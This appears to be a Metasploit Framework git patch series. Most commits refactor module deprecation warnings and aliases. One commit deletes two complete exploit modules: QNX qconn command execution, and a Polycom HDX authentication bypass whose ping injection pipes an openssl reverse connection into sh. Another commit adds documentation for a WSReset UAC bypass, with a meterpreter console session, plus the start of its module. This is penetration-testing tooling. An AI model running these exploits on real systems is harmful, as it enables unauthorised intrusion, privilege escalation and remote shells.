b/lib/msf/core/module/alert.rb @@ -0,0 +1,219 @@ +module Msf::Module::Alert + # This mixin provides a way for alert messages to be added to module classes + # and instances, retrieved from module classes and instances, and displayed + # from module instances. The two alert levels provided by this mixin are + # `:error` and `:warning`, though other levels or display methods can be + # added by subclasses/other mixins if desired by overriding {#alert_user} + # method (calling `super` as necessary), adding a proxy method like + # {ClassMethods#add_warning} that calls {ClassMethods#add_alert} or + # {#add_alert} and optionally a helper retrieval method like + # {ClassMethods#warnings}. + + module ClassMethods + # Add a warning that will be provided to the user as early possible when + # using the module, either when they select it with the `use` command, when + # the module is about to start running, or when the module generates its + # output. + # + # @param msg [String] an optional warning message + # @param block [Proc] an optional block that will be executed in the + # context of the module instance at alert time to generate the warning + # message. If provided the msg parameter is ignored. + # @return [true, nil] whether or not the message was added to the list of + # warnings + def add_warning(msg = nil, &block) + add_alert(:warning, msg, &block) + end + + # Add an error that will be provided to the user as early possible when + # using the module, either when they select it with the `use` command, when + # the module is about to start running, or when the module generates its + # output. Adding an error will cause {#is_usable} to return `false`. + # + # @param msg [String] an optional error message + # @param block [Proc] an optional block that will be executed in the + # context of the module instance at alert time to generate the error + # message. If provided the msg parameter is ignored. + # @return [true, nil] whether or not the message was added to the list of + # errors + def add_error(msg = nil, &block) + add_alert(:error, msg, &block) + end + + # @return [Array] a list of warning message strings, or + # blocks (see #get_alerts) + def warnings + get_alerts(:warning) + end + + # @return [Array] a list of error message strings, or + # blocks (see #get_alerts) + def errors + get_alerts(:error) + end + + # @param [Symbol] the alert level to return + # @return [Array] a list of `level` alerts, either in string + # or block form. Blocks expect to be executed in the context of a fully + # initialized module instance and will return `nil` if the alert they are + # looking for does not apply or a string or array of strings, each + # representing an alert. + def get_alerts(level) + # Initialize here if needed, thanks to weird metaprogramming side-effects + self.alerts ||= {} + self.alerts[level] || [] + end + + # This method allows modules to tell the framework if they are usable + # on the system that they are being loaded on in a generic fashion. + # By default, all modules are indicated as being usable. An example of + # where this is useful is if the module depends on something external to + # ruby, such as a binary. + # + # This looks to have been abandoned at some point in the past, but it may + # be time to resurrect it. + # + # @return [true, false] whether or not the module has encountered any fatal + # errors thus far. + def is_usable? + errors.empty? + end + + protected + + attr_accessor :alerts + + # Add a message (or block that generates messages) to a module. This + # message will be displayed once to the user by every instance of this + # module. + def add_alert(level, msg, &block) + self.alerts ||= {} + self.alerts[level] ||= [] + if block + self.alerts[level] << block + true + elsif msg + self.alerts[level] << msg + true + end + end + end + + # @nodoc + def self.included(base) + base.extend(ClassMethods) + end + + # Add a warning that will be provided to the user as early possible when + # using this instance of a module, either when they select it with the `use` + # command, when the module is about to start running, or when the module + # generates its output. + # + # @param msg [String] an optional warning message + # @param block [Proc] an optional block that will be executed in the + # context of the module instance at alert time to generate the warning + # message. If provided the msg parameter is ignored. + # @return [true, nil] whether or not the message was added to the list of + # warnings + def add_warning(msg = nil, &block) + add_alert(:warning, msg, &block) + end + + # Add a error that will be provided to the user as early possible when using + # this instance of a module, either when they select it with the `use` + # command, when the module is about to start running, or when the module + # generates its output. Adding an error will cause {#is_usable} to return + # `false`. + # + # @param msg [String] an optional error message + # @param block [Proc] an optional block that will be executed in the + # context of the module instance at alert time to generate the error + # message. If provided the msg parameter is ignored. + # @return [true, nil] whether or not the message was added to the list of + # errors + def add_error(msg = nil, &block) + add_alert(:error, msg, &block) + end + + # This method allows modules to tell the framework if they are usable + # on the system that they are being loaded on in a generic fashion. + # By default, all modules are indicated as being usable. An example of + # where this is useful is if the module depends on something external to + # ruby, such as a binary. + # + # This looks to have been abandoned at some point in the past, but it may + # be time to resurrect it. + # + # @return [true, false] whether or not the module has encountered any fatal + # errors thus far. + def is_usable? + errors.empty? + end + + # @return [Array] a list of warning strings to show the user + def warnings + get_alerts(:warning) + end + + # @return [Array] a list of error strings to show the user + def errors + get_alerts(:error) + end + + # Similar to {ClassMethods#get_alerts}, but executes each registered block in + # the context of this module instance and returns a flattened list of strings. + # (see {ClassMethods#get_alerts}) + # @param [Symbol] the alert level to return + # @return [Array] + def get_alerts(level) + self.alerts ||= {} + self.alerts[level] ||= [] + all_alerts = self.class.get_alerts(level) + self.alerts[level] + all_alerts.map do |alert| + case alert + when Proc + self.instance_exec &alert + else + alert + end + end.flatten.compact + end + + protected + + attr_accessor :alerts, :you_have_been_warned + + # Add an alert for _this instance_ of a module (see {ClassMethods#add_alert}) + def add_alert(level, msg, &block) + self.alerts ||= {} + self.alerts[level] ||= [] + if block + self.alerts[level] << block + true + elsif msg + self.alerts[level] << msg + true + end + end + + # Display alerts with `print_warning` for warnings and `print_error` for + # errors. Alerts that have already been displayed by this module instance + # with this method will not be displayed again. + def alert_user + self.you_have_been_warned ||= {} + + errors.each do |msg| + if msg && !self.you_have_been_warned[msg.hash] + print_error(msg) + self.you_have_been_warned[msg.hash] = true + end + end + + warnings.each do |msg| + if msg && !self.you_have_been_warned[msg.hash] + print_warning(msg) + self.you_have_been_warned[msg.hash] = true + end + end + end +end diff --git a/lib/msf/core/module/ui.rb b/lib/msf/core/module/ui.rb index 2cbd697896..d78097014a 100644 --- a/lib/msf/core/module/ui.rb +++ b/lib/msf/core/module/ui.rb @@ -13,4 +13,10 @@ module Msf::Module::UI include Msf::Module::UI::Line # Overwrite the {Rex::Ui::Subscriber} print_(status|error|good) to do time stamps include Msf::Module::UI::Message -end \ No newline at end of file + + # Add alerts to {Rex::Ui::Subscriber#init_ui} + def init_ui(*args) + super + alert_user + end +end diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index d9f7b2f073..2e4c0bae75 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -30,6 +30,8 @@ module Msf::PostMixin # # @raise [OptionValidateError] if {#session} returns nil def setup + alert_user + unless session # Always fail if the session doesn't exist. raise Msf::OptionValidateError.new(['SESSION']) From d8e8a33b46c96dfe06e1780f26f10f6eba325f2a Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Thu, 22 Aug 2019 11:16:03 -0500 Subject: [PATCH 062/217] Rewrite Msf::Module::Deprecated w/ alerts, aliases Less janky, and allows module moves without copying! --- lib/msf/core/module/deprecated.rb | 95 ++++++------------- lib/msf/core/module/full_name.rb | 8 ++ modules/exploits/unix/misc/qnx_qconn_exec.rb | 2 +- .../exploits/unix/polycom_hdx_auth_bypass.rb | 2 +- 4 files changed, 41 insertions(+), 66 deletions(-) diff --git a/lib/msf/core/module/deprecated.rb b/lib/msf/core/module/deprecated.rb index 64c846058b..752a8c495c 100644 --- a/lib/msf/core/module/deprecated.rb +++ b/lib/msf/core/module/deprecated.rb @@ -4,50 +4,49 @@ module Msf::Module::Deprecated # Additional class methods for deprecated modules module ClassMethods + attr_accessor :deprecation_date + attr_accessor :deprecated_name + # Mark this module as deprecated # # Any time this module is run it will print warnings to that effect. # # @param deprecation_date [Date,#to_s] The date on which this module will # be removed - # @param replacement_module [String] The name of a module that users - # should be using instead of this deprecated one # @return [void] - def deprecated(deprecation_date=nil, replacement_module=nil) - # Yes, class instance variables. - @replacement_module = replacement_module - @deprecation_date = deprecation_date + def deprecated(date) + self.deprecation_date = date + + # NOTE: fullname isn't set until a module has been added to a set, which is after it is evaluated + add_warning do + [ "*%red" + "The module #{fullname} is deprecated!".center(88) + "%clr*", + "*" + "This module will be removed on or about #{self.class.deprecation_date}".center(88) + "*" ] + end end - # The name of a module that users should be using instead of this - # deprecated one + # Mark this module as moved from another location. This adds an alias to + # the module so that it can still be used by its old name and will print a + # warning informing the use of the new name. This currently only works for + # a single move, but it can be extended in the future for multiple moves. # - # @return [String,nil] - # @see ClassMethods#deprecated - def replacement_module; @replacement_module; end + # @param from [String] the previous `fullname` of the module + def moved_from(from) + self.deprecated_name = from - # The date on which this module will be removed - # - # @return [Date,nil] - # @see ClassMethods#deprecated - def deprecation_date; @deprecation_date; end - end + if const_defined?(:Aliases) + const_get(:Aliases).append from + else + const_set(:Aliases, [from]) + end - # (see ClassMethods#replacement_module) - def replacement_module - if self.class.instance_variable_defined?(:@replacement_module) - return self.class.replacement_module - elsif self.class.const_defined?(:DEPRECATION_REPLACEMENT) - return self.class.const_get(:DEPRECATION_REPLACEMENT) - end - end - - # (see ClassMethods#deprecation_date) - def deprecation_date - if self.class.instance_variable_defined?(:@deprecation_date) - return self.class.deprecation_date - elsif self.class.const_defined?(:DEPRECATION_DATE) - return self.class.const_get(:DEPRECATION_DATE) + # NOTE: aliases are not set until after initialization, so might as well + # use the block form of alert here too. + add_warning do + if fullname == self.class.deprecated_name + [ "*%red" + "The module #{fullname} has been moved!".center(88) + "%clr*", + "*" + "You are now using #{realname}".center(88) + "*" ] + end + end end end @@ -55,36 +54,4 @@ module Msf::Module::Deprecated def self.included(base) base.extend(ClassMethods) end - - # Print the module deprecation information - # - # @return [void] - def print_deprecation_warning - print_warning("*"*90) - print_warning("*%red"+"The module #{refname} is deprecated!".center(88)+"%clr*") - if deprecation_date - print_warning("*"+"It will be removed on or about #{deprecation_date}".center(88)+"*") - end - if replacement_module - print_warning("*"+"Use #{replacement_module} instead".center(88)+"*") - end - print_warning("*"*90) - end - - def init_ui(input = nil, output = nil) - super(input, output) - print_deprecation_warning - @you_have_been_warned = true - end - - def generate - print_deprecation_warning - super - end - - def setup - print_deprecation_warning unless @you_have_been_warned - super - end - end diff --git a/lib/msf/core/module/full_name.rb b/lib/msf/core/module/full_name.rb index 86fc45d34b..f0e6756305 100644 --- a/lib/msf/core/module/full_name.rb +++ b/lib/msf/core/module/full_name.rb @@ -57,6 +57,14 @@ module Msf::Module::FullName aliased_as || self.class.fullname end + # + # Always return the module's framework full reference name, even when the + # module is aliased. + # + def realname + self.class.fullname + end + # # Returns the module's framework reference name. This is the # short name that end-users work with. Ex: diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index 3df5b8df27..9c0021882e 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Module::Deprecated - deprecated(Date.new(2018, 10, 17), 'exploit/qnx/qconn/qconn_exec') + deprecated(Date.new(2018, 10, 17)) def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/unix/polycom_hdx_auth_bypass.rb b/modules/exploits/unix/polycom_hdx_auth_bypass.rb index 20be3ab449..a2401347bd 100644 --- a/modules/exploits/unix/polycom_hdx_auth_bypass.rb +++ b/modules/exploits/unix/polycom_hdx_auth_bypass.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Auxiliary::Report include Msf::Module::Deprecated - deprecated(Date.new(2018, 11, 04), 'exploit/unix/misc/polycom_hdx_auth_bypass') + deprecated(Date.new(2018, 11, 04)) def initialize(info = {}) super( From 948918dacb10c5a9f40121e3fa9bd91cead74363 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Thu, 22 Aug 2019 11:19:31 -0500 Subject: [PATCH 063/217] Use alias when reloading aliased module Also speeds up module reloads by avoiding module instance creating without a type. Fixes #12026 --- lib/msf/core/module_manager.rb | 4 +++- lib/msf/core/modules/loader/base.rb | 18 ++++++++++++------ 2 files changed, 15 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index 67f0c80bdb..e4e2925d0b 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -103,7 +103,9 @@ module Msf end if module_instance - module_instance.aliased_as = aliased_as + # If the module instance is populated by one of the recursive `create` + # calls this field may be set and we'll want to keep its original value + module_instance.aliased_as ||= aliased_as end module_instance diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 2a92c584a7..1f6aa13323 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -283,14 +283,20 @@ class Msf::Modules::Loader::Base namespace_module = original_metasploit_class.parent parent_path = namespace_module.parent_path - type = original_metasploit_class_or_instance.type - module_reference_name = original_metasploit_class_or_instance.refname + type = original_metasploit_class.type + module_reference_name = original_metasploit_class.refname + module_fullname = original_metasploit_class.fullname + module_used_name = original_metasploit_instance.fullname if original_metasploit_instance - dlog("Reloading module #{module_reference_name}...", 'core') + dlog("Reloading module #{module_fullname}...", 'core') if load_module(parent_path, type, module_reference_name, :force => true, :reload => true) - # Create a new instance of the module - reloaded_module_instance = module_manager.create(module_reference_name) + # Create a new instance of the module, using the alias if one was used + reloaded_module_instance = module_manager.create(module_used_name || module_fullname) + if !reloaded_module_instance && module_fullname != module_used_name + reloaded_module_instance = module_manager.create(module_fullname) + reloaded_module_instance&.add_warning "Alias #{module_used_name} no longer available after reloading, using #{module_fullname}" + end if reloaded_module_instance if original_metasploit_instance @@ -304,7 +310,7 @@ class Msf::Modules::Loader::Base return original_metasploit_class_or_instance end else - elog("Failed to reload #{module_reference_name}") + elog("Failed to reload #{module_fullname}") return nil end From 67b427f277599a72bb9eed45e528a1a9efc9742e Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 28 Jun 2019 00:32:30 -0500 Subject: [PATCH 064/217] Remove expired deprecated modules --- modules/exploits/unix/misc/qnx_qconn_exec.rb | 166 ------------ .../exploits/unix/polycom_hdx_auth_bypass.rb | 249 ------------------ 2 files changed, 415 deletions(-) delete mode 100644 modules/exploits/unix/misc/qnx_qconn_exec.rb delete mode 100644 modules/exploits/unix/polycom_hdx_auth_bypass.rb diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb deleted file mode 100644 index 9c0021882e..0000000000 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ /dev/null @@ -1,166 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::Tcp - include Msf::Module::Deprecated - - deprecated(Date.new(2018, 10, 17)) - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'QNX qconn Command Execution', - 'Description' => %q{ - This module uses the qconn daemon on QNX systems to gain a shell. - - The QNX qconn daemon does not require authentication and allows - remote users to execute arbitrary operating system commands. - - This module has been tested successfully on QNX Neutrino 6.5.0 (x86) - and 6.5.0 SP1 (x86). - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'David Odell', # Discovery - 'Mor!p3r', # PoC - 'bcoles' # Metasploit - ], - 'References' => - [ - ['EDB', '21520'], - ['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'], - ['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'], - ['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html'] - ], - 'Payload' => - { - 'BadChars' => '', - 'DisableNops' => true, - 'Compat' => - { - 'PayloadType' => 'cmd_interact', - 'ConnectionType' => 'find' - } - }, - 'DefaultOptions' => - { - 'WfsDelay' => 10, - 'PAYLOAD' => 'cmd/unix/interact' - }, - 'Platform' => 'unix', # QNX Neutrino - 'Arch' => ARCH_CMD, - 'Targets' => [['Automatic', {}]], - 'Privileged' => false, - 'DisclosureDate' => 'Sep 4 2012', - 'DefaultTarget' => 0)) - register_options( - [ - Opt::RPORT(8000), - OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh']) - ]) - end - - def check - vprint_status 'Sending check...' - - connect - res = sock.get_once(-1, 10) - - unless res - vprint_error 'Connection failed' - return CheckCode::Unknown - end - - unless res.include? 'QCONN' - return CheckCode::Safe - end - - sock.put "service launcher\n" - res = sock.get_once(-1, 10) - - if res.nil? || !res.include?('OK') - return CheckCode::Safe - end - - fingerprint = Rex::Text.rand_text_alphanumeric rand(5..10) - sock.put "start/flags run /bin/echo /bin/echo #{fingerprint}\n" - - if res.nil? || !res.include?('OK') - return CheckCode::Safe - end - - Rex.sleep 1 - - res = sock.get_once(-1, 10) - - if res.nil? || !res.include?(fingerprint) - return CheckCode::Safe - end - - disconnect - - CheckCode::Vulnerable - end - - def exploit - unless check == CheckCode::Vulnerable - fail_with Failure::NotVulnerable, 'Target is not vulnerable' - end - - connect - res = sock.get_once(-1, 10) - - unless res - fail_with Failure::Unreachable, 'Connection failed' - end - - unless res.include? 'QCONN' - fail_with Failure::UnexpectedReply, 'Unexpected reply' - end - - sock.put "service launcher\n" - res = sock.get_once(-1, 10) - - if res.nil? || !res.include?('OK') - fail_with Failure::UnexpectedReply, 'Unexpected reply' - end - - print_status 'Sending payload...' - sock.put "start/flags run #{datastore['SHELL']} -\n" - - Rex.sleep 1 - - unless negotiate_shell sock - fail_with Failure::UnexpectedReply, 'Unexpected reply' - end - - print_good 'Payload sent successfully' - - handler - end - - def negotiate_shell(sock) - Timeout.timeout(15) do - while true - data = sock.get_once(-1, 10) - - if !data || data.length.zero? - return nil - end - - if data.include?('#') || data.include?('No controlling tty') - return true - end - - Rex.sleep 0.5 - end - end - rescue ::Timeout::Error - return nil - end -end diff --git a/modules/exploits/unix/polycom_hdx_auth_bypass.rb b/modules/exploits/unix/polycom_hdx_auth_bypass.rb deleted file mode 100644 index a2401347bd..0000000000 --- a/modules/exploits/unix/polycom_hdx_auth_bypass.rb +++ /dev/null @@ -1,249 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Report - include Msf::Module::Deprecated - - deprecated(Date.new(2018, 11, 04)) - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Polycom Command Shell Authorization Bypass', - 'Alias' => 'polycom_hdx_auth_bypass', - 'Author' => - [ - 'Paul Haas ', # module - 'h00die ', # submission/cleanup - ], - 'DisclosureDate' => 'Jan 18 2013', - 'Description' => %q( - The login component of the Polycom Command Shell on Polycom HDX - video endpoints, running software versions 3.0.5 and earlier, - is vulnerable to an authorization bypass when simultaneous - connections are made to the service, allowing remote network - attackers to gain access to a sandboxed telnet prompt without - authentication. Versions prior to 3.0.4 contain OS command - injection in the ping command which can be used to execute - arbitrary commands as root. - ), - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ], - [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ], - [ 'EDB', '24494'] - ], - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Privileged' => true, - 'Targets' => [ [ "Universal", {} ] ], - 'Payload' => - { - 'Space' => 8000, - 'DisableNops' => true, - 'Compat' => { 'PayloadType' => 'cmd' } - }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, - 'DefaultTarget' => 0 - ) - ) - - register_options( - [ - Opt::RHOST(), - Opt::RPORT(23), - OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), - OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) - ], self.class - ) - register_advanced_options( - [ - OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]), - OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100]) - ], self.class - ) - end - - def check - connect - sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n") - Rex.sleep(1) - res = sock.get_once - disconnect - - if !res && !res.empty? - return Exploit::CheckCode::Safe - end - - if res =~ /Welcome to ViewStation/ - return Exploit::CheckCode::Appears - end - - Exploit::CheckCode::Safe - end - - def exploit - # Keep track of results (successful connections) - results = [] - - # Random string for password - password = Rex::Text.rand_text_alpha(rand(5) + 1) - - # Threaded login checker - max_threads = datastore['THREADS'] - cur_threads = [] - - # Try up to 100 times just to be sure - queue = [*(1..datastore['MAX_CONNECTIONS'])] - - print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ") - until queue.empty? - while cur_threads.length < max_threads - - # We can stop if we get a valid login - break unless results.empty? - - # keep track of how many attempts we've made - item = queue.shift - - # We can stop if we reach max tries - break unless item - - t = Thread.new(item) do |count| - sock = connect - sock.put(password + "\n") - res = sock.get_once - - until res.empty? - break unless results.empty? - - # Post-login Polycom banner means success - if res =~ /Polycom/ - results << sock - break - # bind error indicates bypass is working - elsif res =~ /bind/ - sock.put(password + "\n") - # Login error means we need to disconnect - elsif res =~ /failed/ - break - # To many connections means we need to disconnect - elsif res =~ /Error/ - break - end - res = sock.get_once - end - end - - cur_threads << t - end - - # We can stop if we get a valid login - break unless results.empty? - - # Add to a list of dead threads if we're finished - cur_threads.each_index do |ti| - t = cur_threads[ti] - unless t.alive? - cur_threads[ti] = nil - end - end - - # Remove any dead threads from the set - cur_threads.delete(nil) - - Rex.sleep(0.25) - end - - # Clean up any remaining threads - cur_threads.each { |sock| sock.kill } - - if !results.empty? - print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw") - do_payload(results[0]) - else - print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable") - end - end - - def do_payload(sock) - # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise - cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) - - # Start a listener - start_listener(true) - - # Figure out the port we picked - cbport = self.service.getsockname[2] - - # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128 - cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n" - sock.put(cmd) - - # Give time for our command to be queued and executed - 1.upto(5) do - Rex.sleep(1) - break if session_created? - end - end - - def stage_final_payload(cli) - print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") - cli.put(payload.encoded + "\n") - end - - def start_listener(ssl = false) - comm = datastore['ListenerComm'] - if comm == 'local' - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - self.service = Rex::Socket::TcpServer.create( - 'LocalPort' => datastore['CBPORT'], - 'SSL' => ssl, - 'SSLCert' => datastore['SSLCert'], - 'Comm' => comm, - 'Context' => - { - 'Msf' => framework, - 'MsfExploit' => self - } - ) - - self.service.on_client_connect_proc = proc { |client| - stage_final_payload(client) - } - - # Start the listening service - self.service.start - end - - # Shut down any running services - def cleanup - super - if self.service - print_status("Shutting down payload stager listener...") - begin - self.service.deref if self.service.is_a?(Rex::Service) - if self.service.is_a?(Rex::Socket) - self.service.close - self.service.stop - end - self.service = nil - rescue ::Exception - end - end - end - - # Accessor for our TCP payload stager - attr_accessor :service -end From 901943c90f2a67d3df5aacfdd783d33f0119df0e Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 28 Jun 2019 00:20:38 -0500 Subject: [PATCH 065/217] Move Ubiquiti AirOS exploit from SSH to HTTP --- .../exploits/linux/{ssh => http}/ubiquiti_airos_file_upload.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/linux/{ssh => http}/ubiquiti_airos_file_upload.rb (100%) diff --git a/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb b/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb similarity index 100% rename from modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb rename to modules/exploits/linux/http/ubiquiti_airos_file_upload.rb From 8aa00d97aa7faf0f7e6ac7e6ac1f8885d70bc32e Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Thu, 22 Aug 2019 11:27:32 -0500 Subject: [PATCH 066/217] Add new `moved_from` to moved module --- modules/exploits/linux/http/ubiquiti_airos_file_upload.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb b/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb index b5c15f2d0f..37247577bc 100644 --- a/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb +++ b/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb @@ -13,6 +13,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SSH + include Msf::Exploit::Deprecated + + moved_from 'exploit/linux/ssh/ubiquiti_airos_file_upload' def initialize(info = {}) super(update_info(info, From 6a8f6d7a57a9cf2aaff3cc4c2ff849997de8d058 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Thu, 22 Aug 2019 18:03:13 -0500 Subject: [PATCH 067/217] Unify spec and lib --- lib/msf/core/module/alert.rb | 2 +- spec/lib/msf/core/module_spec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/module/alert.rb b/lib/msf/core/module/alert.rb index 72bf33e4e3..75c43d6c1d 100644 --- a/lib/msf/core/module/alert.rb +++ b/lib/msf/core/module/alert.rb @@ -75,7 +75,7 @@ module Msf::Module::Alert # # @return [true, false] whether or not the module has encountered any fatal # errors thus far. - def is_usable? + def usable? errors.empty? end diff --git a/spec/lib/msf/core/module_spec.rb b/spec/lib/msf/core/module_spec.rb index c05c95018b..640c590cd5 100644 --- a/spec/lib/msf/core/module_spec.rb +++ b/spec/lib/msf/core/module_spec.rb @@ -41,7 +41,7 @@ RSpec.describe Msf::Module do } it { is_expected.to respond_to :cached? } - it { is_expected.to respond_to :is_usable } + it { is_expected.to respond_to :usable? } end describe "cloning modules into replicants" do From ea3e2c1047a68b402d936d70b4e92dd788fbb6c0 Mon Sep 17 00:00:00 2001 From: Tim W Date: Sat, 24 Aug 2019 13:26:08 +0800 Subject: [PATCH 068/217] fix #11574, add WSReset UAC Bypass --- .../windows/local/bypassuac_windows_store.md | 50 +++++++ .../windows/local/bypassuac_windows_store.rb | 129 ++++++++++++++++++ 2 files changed, 179 insertions(+) create mode 100644 documentation/modules/exploit/windows/local/bypassuac_windows_store.md create mode 100644 modules/exploits/windows/local/bypassuac_windows_store.rb diff --git a/documentation/modules/exploit/windows/local/bypassuac_windows_store.md b/documentation/modules/exploit/windows/local/bypassuac_windows_store.md new file mode 100644 index 0000000000..46c6137ee3 --- /dev/null +++ b/documentation/modules/exploit/windows/local/bypassuac_windows_store.md @@ -0,0 +1,50 @@ +## Intro + +This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool +is run with the "autoElevate" property set to true, however it can be moved to +a new Windows directory containing a space (C:\Windows \System32\) where, upon +execution, it will load our payload dll (propsys.dll). + +## Usage + +1. Create a session on the target system under the context of a local administrative user. +1. Begin interacting with the module: `use exploit/windows/local/bypassuac_windows_store`. +1. Set the `PAYLOAD` and configure it correctly, making sure the architecture is correct. +1. If an existing handler is configured to receive the elevated session, then the module's + handler should be disabled: `set DisablePayloadHandler true`. +1. Make sure that the `SESSION` value is set to the existing session identifier. +1. Invoke the module: `run`. + +## Scenario + +### Windows 10.0.17134.885 x64 + +``` +msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_windows_store +msf5 exploit(windows/local/bypassuac_windows_store) > set SESSION 1 +SESSION => 1 +msf5 exploit(windows/local/bypassuac_windows_store) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf5 exploit(windows/local/bypassuac_windows_store) > set LPORT 5555 +LPORT => 5555 +msf5 exploit(windows/local/bypassuac_windows_store) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf5 exploit(windows/local/bypassuac_windows_store) > run + +[*] Started reverse TCP handler on 192.168.56.1:5555 +[*] UAC is Enabled, checking level... +[+] Part of Administrators group! Continuing... +[+] UAC is set to Default +[+] BypassUAC can bypass this setting, continuing... +[*] Creating directory 'C:\Windows \'... +[*] Creating directory 'C:\Windows \System32\'... +[*] Creating payload 'C:\Windows \System32\propsys.dll'... +[*] Executing WSReset.exe... +[!] This exploit requires manual cleanup of the 'C:\Windows \' and 'C:\Windows \System32\' directories! +[*] Sending stage (206403 bytes) to 192.168.56.3 +[*] Meterpreter session 2 opened (192.168.56.1:5555 -> 192.168.56.3:49803) at 2019-08-24 13:20:11 +0800 + +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > +``` diff --git a/modules/exploits/windows/local/bypassuac_windows_store.rb b/modules/exploits/windows/local/bypassuac_windows_store.rb new file mode 100644 index 0000000000..d992caeda3 --- /dev/null +++ b/modules/exploits/windows/local/bypassuac_windows_store.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ManualRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Post::Windows::Priv + include Post::Windows::Runas + + def initialize(info = {}) + super( + update_info( info, + 'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)', + 'Description' => %q{ + This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool + is run with the "autoElevate" property set to true, however it can be moved to + a new Windows directory containing a space (C:\Windows \System32\) where, upon + execution, it will load our payload dll (propsys.dll). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'ACTIVELabs', # discovery + 'sailay1996', # poc + 'timwr', # metasploit module + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Targets' => [[ 'Automatic', {} ]], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'EXITFUNC' => 'process', + 'WfsDelay' => 15 + }, + 'DisclosureDate' => 'Aug 22 